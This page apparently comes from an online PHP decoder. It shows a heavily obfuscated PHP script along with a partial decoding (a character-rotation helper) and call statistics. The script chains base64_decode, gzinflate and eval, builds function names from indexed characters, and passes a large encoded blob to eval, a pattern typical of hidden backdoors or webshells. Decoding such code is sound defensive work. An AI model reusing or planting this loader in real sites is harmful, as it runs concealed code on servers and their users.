Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA=="); eval..

Decoded Output download


function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

$keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY5NCsIwEIWv8ixdZDCKWZcuPUfRdqrBmsBkAkrp3aVIi3Tj9v1+vje7PodWfQwNv3zSZAqJyqGNHRdE4+JiVU2ZVHy42fLyjDkoYUT54DdqpHxNKmsAJwtHFXxvksrAYXGort1cE9YsAe1dTJTOzCuEPZbhChN4SPw/iePMd/7ybSmcxeb+4Mj+vkzTBw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LcQ1Du
WKAQDAy0T6u3JheialMjOzm8jMzD79bzLFlFc6/P
mPaUIQ9P/+ZOle4r//FWU+F+Wff7TchrkzVGmbo1
/Iw09UaZTeXzod1FHeGZMrWyDEVdWUggBLv6CfXe
MWSL2FSikaBwqjDwhAWFWElzdX/wXMmCUwIcsQ5q
eJV0YfQSFYYDKTZ4ctxwdF7qO3oF0wpm91ry0GqC
9maDC/iqnuGN/Yzf4Bywocb791xMuDDZ1wuBPg5V
qQxHSouS4oZsjl40fIPlZCEFd/radx4dXsln8ucJ
V8e5vRpJtNpVhNu7KjKIopX47upbzmA3KkRBDr8s
CIokLVvX85uN9nd+raFG5lgn6wR3WKA+tQp3Zztq
1BLQ7RyLoNNwcNp9XISKO5Tp2+tznGuoSueAV5/X
SP9CScAQwrQZsEz+hRvVeNjcfbJi+4XldYDX15h5
uALocXqpKB9fYrJmiew5Fa7z7wbyR5mra33R8sLW
K2PG/AJBd4pN30PmfUxsXIVARl1004wzu09dvX+9
Phg1HZx8/iv9KyjMgZPi/G6RdqxHx/GUag88z2Sv
S4z4huLmok+o/LmhVPbyk9S99K5iR58oW/FCcqHg
G7hIfClSb5JW3gPJJu77TaC32hMZa02l6Kbl2om1
EuePIYX8x9egxhdFsAlGNyeRZFNc2gCtUFnhi+xX
3PmV6CPkpWP6nYtCTjhLzkxqn0ph1qCw2iKSryof
lREPPscNnBliCz2DfjPSWhuedOYolZgEagzHLqZZ
aqPuO8+FWHW1jGrF3jpisVcTBC7bnAF5oXJY+W/t
rO8NaSnkqIFdcPN4OvO3YBjmBpezBuVU/YLdyTW3
cA1m027o6PsSI+gTqQDXrxwhAPf7+DmOK2ptx6RN
GxnSTCT73mvSfPaG8ninqInGRHlsQz+QnSl5u/QO
koOeDAKTH0VeuOm29hyYlD3atQ61U+lKhNMb7w7/
d5NJWz6HtmEYRrA0YKYoue3+8sXyf1kaWIJG/Vr6
ZhFJlzMqcnMaxufLmbvKEDVTVdk+Xw0omhFtuXse
ckARjlDpTulziYmtQ2jip0G8DhGmbUfNRJGyytPz
0bGxjweb32WGUK8RXSrUjjXJp0mZ8X1W+5enEdLJ
dcIH7q2SznmVa8FSHG24vsd4xj9UBDi+16QjWxOj
tKc4g/t9jdKWgsInvE0nvB6dyn0V3aHyHAJ3Nags
ELnHspLLcsH5t1xq/GmDH3vunHcFB44/m+366wlu
ZR52lCEtUFHDAXBjepiFscxlEOsEqu2XIEJtT78A
oyu79KHoteTXreBKIT2BU3f1ITeqFVZyB9pCHwew
NllR1DSGNZCRKVuoJQWlbBOVyDcWr8NClfF3srtC
0hGiqFGx+CiXAg4qDNwLoIywih02I22xONQYD8yA
J7z7qZrhWsFrDMUj7480AL+swoX3CnA+1ak3QT5L
DTIj6J0awnUZeie4sVae701GTvEqMpAKzylm8HHk
1+RC52+96iHPxLRSEnhx3rQ97BFoSAz37R3IqmF+
8iuMHYpTro2h9ryaSJgH63jneqi8wL5JuYEG6JY9
XDu1kJhCQn3dNEQZwkEuKb15yCDnS9XvgQeHUiX9
Sf2WQbxkueRlQa3FJQOkUQSLfOjCvlw6i9AFd57q
TOWpAISyw0l4krMGy9ogbca8ap9un1jbF2tgYe7L
UqYeYKaNjKaUWo03Pocauu5n4jdixSZRgQqMUsqQ
UtOHkVAUq1El+0zSXdFAqfWaqK9qgPc6QjUOZO7J
DwKdDuKDURgkceKsvxXoHfOMpbHiTjtB0/SzZsyK
bVN8mBjddIrVr4R31z+zQeGg36iC9AljCNChcOlx
WR66Z7eNpVI0C97wkkchW8n524kboDrbNvZy7mL9
tOzRfXsEx8Q0TkvhhrAEdfn3oDiS7HiX5bWFUFRg
uiyKZW5UPVohEzpg59ghsa+nZmPQX3YXUwQTURr0
4Xxmfj4lrT+fhR3a8VdVq+EvNGPgGLXgXSe/eS69
1XZPRrsitqH+4jRzoXaM/SYU5z5oiEh2EkRfoB+e
ZADMPaLZAve8Vnu7q045yS6j3zi87k2mxX0ERtEY
e65oIVXvb7UqHk7GgtMqeOKC3WkVsIJ0WLx597wt
OtSJuRAlAxI1kix5Dv94vkyS3xkD0Y3pVcUze/dl
AHMCnKCGerXIyi08onH9Xr1YPXMCRdJr11EUrNOK
BQ2MUhi4zYxNV9qXo+lnI17sU+bkiJrGgBbUAWZl
mljwoYCHqe0nYvpjLmfRP/UwFxGdF3a0y2Ni3Xry
AbzapVZBpK4pwgL9e41Z2MvzQLE82ha4YDV7WqTj
2EXQ3y1zY/WXVuS0rLFZpVivu6RHBANPB6KSK/vX
EtkBo6w7oWVw9GIRApAmfW98mDYUBoHOi2s4Uopx
/vXqtEI6Aka41EA3jvF6ItrkR/1qlPsx6NmwbtVo
xXXqTefW+drnboesl1Tb52qXe/gy7yHZHnsMpUK+
LerOvbXuZbI/4ts4ENQ2k+o13imbbZSmRT6OEJkq
lZ7sWRVcCmG7I0ug0j/aUQopOM6UkHhvDApk+P3Q
gGHYmL54L1wwLhmtkXgUOKWuWmEKqYT15mElNoWV
rK9vLhWjC3Rx1h1FQCpHYqsmeNw9OU67a1Iy9bM+
jR8B0ss2KTr0zVgVLXKdhNkN29dNE8CQk8qYZ1B/
dks4CVykp6ml4w9eiMMYdJHWREDQrcF6clVNdYdM
rRv/sJ5udJG/3rhyoLgScqJR7uL1gdK6hhwnyN4h
Kx2I9epnzOK4ZrmwiZlh4VFPjbeOPch+IATyX/so
N4JPr8yNXARc86ZI70o7Xc1Ma89yD+MGdLWL10pl
LvBw4globnnF0MgJjhMCGtJGJ93MHxKzRizUsL8/
G+A5NDTEvtXx6IA13YSTu4PwLkN784OwVSaKb//H
1UjnluMfXF0GjZASQ1XpIlvS3b8jv9Wj6nGNy6IQ
VsHjS9jOq0MssVJJgxrP53NWPB0dP38FazH0+AYP
ZNuwfY8l3zUak0rgTPFD8jgfNrEwXzM9of/iawKQ
FGlnIru+1IzFYQ0vU4O9JBn1aaRK/5PV4VZsyCvp
akGAKkjZ6YDiVPKYqt2PLrBmt7JrqS5CIFH09HbC
3bFbV5m9PNx+pJ+4N1hFIm9UmNQadUR+uTGG3U6V
1u+mTKA6YXDIWgUiqyFkpU/0V6lv+a45Njl+ol3F
Pyw92kDn3rfq6V3mIarcNSPjO/8kFZPsPqMO6dRl
OhEOD5FVym1IruE5wGyKhYBDdFz1Z3+9DAQfhCuL
GTaMascZVngfR/PyaQOSVTBCVPZjZHAIOWiXJ1Zt
CZZF3lTcjbY1CYSMWbGUAkN9Qr7J+1JIlPM2rcKN
YQK3Gejsr6+SVE38qVodABbPN4vq+zftzoW9GsCg
ze1k4JouMpvCwMKLHeJTSrgVqGN/0X4GViDggAKU
w3zYF0erzqVlgtTGKCmsSFsnEik2Uadmc2+qKmod
z4tc/aDxVp8MYLvOL+Nm3PPNHUX7BW0kSt4VKW3b
hpyqeS1LObdztqTtN56vx1LUJoqowQL05KLHb7mY
tVsJqHKlmnHkvLKRIkMjaygUxOBdNvWxcMTKivUY
kOgxNExGxy3xNGFy1mZ1d6BCkLBEmwulAUJLl//v
79+99/AQ==')));

Function Calls

gzinflate 1
base64_decode 2
function_exists 1
11411111610111099111100101 1

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp
$O0O0O0O0O0O0 11411111610111099111100101

Stats

MD5 ea4fd671acca4d541a1cd6c1ed312684
Eval Count 1
Decode Time 89 ms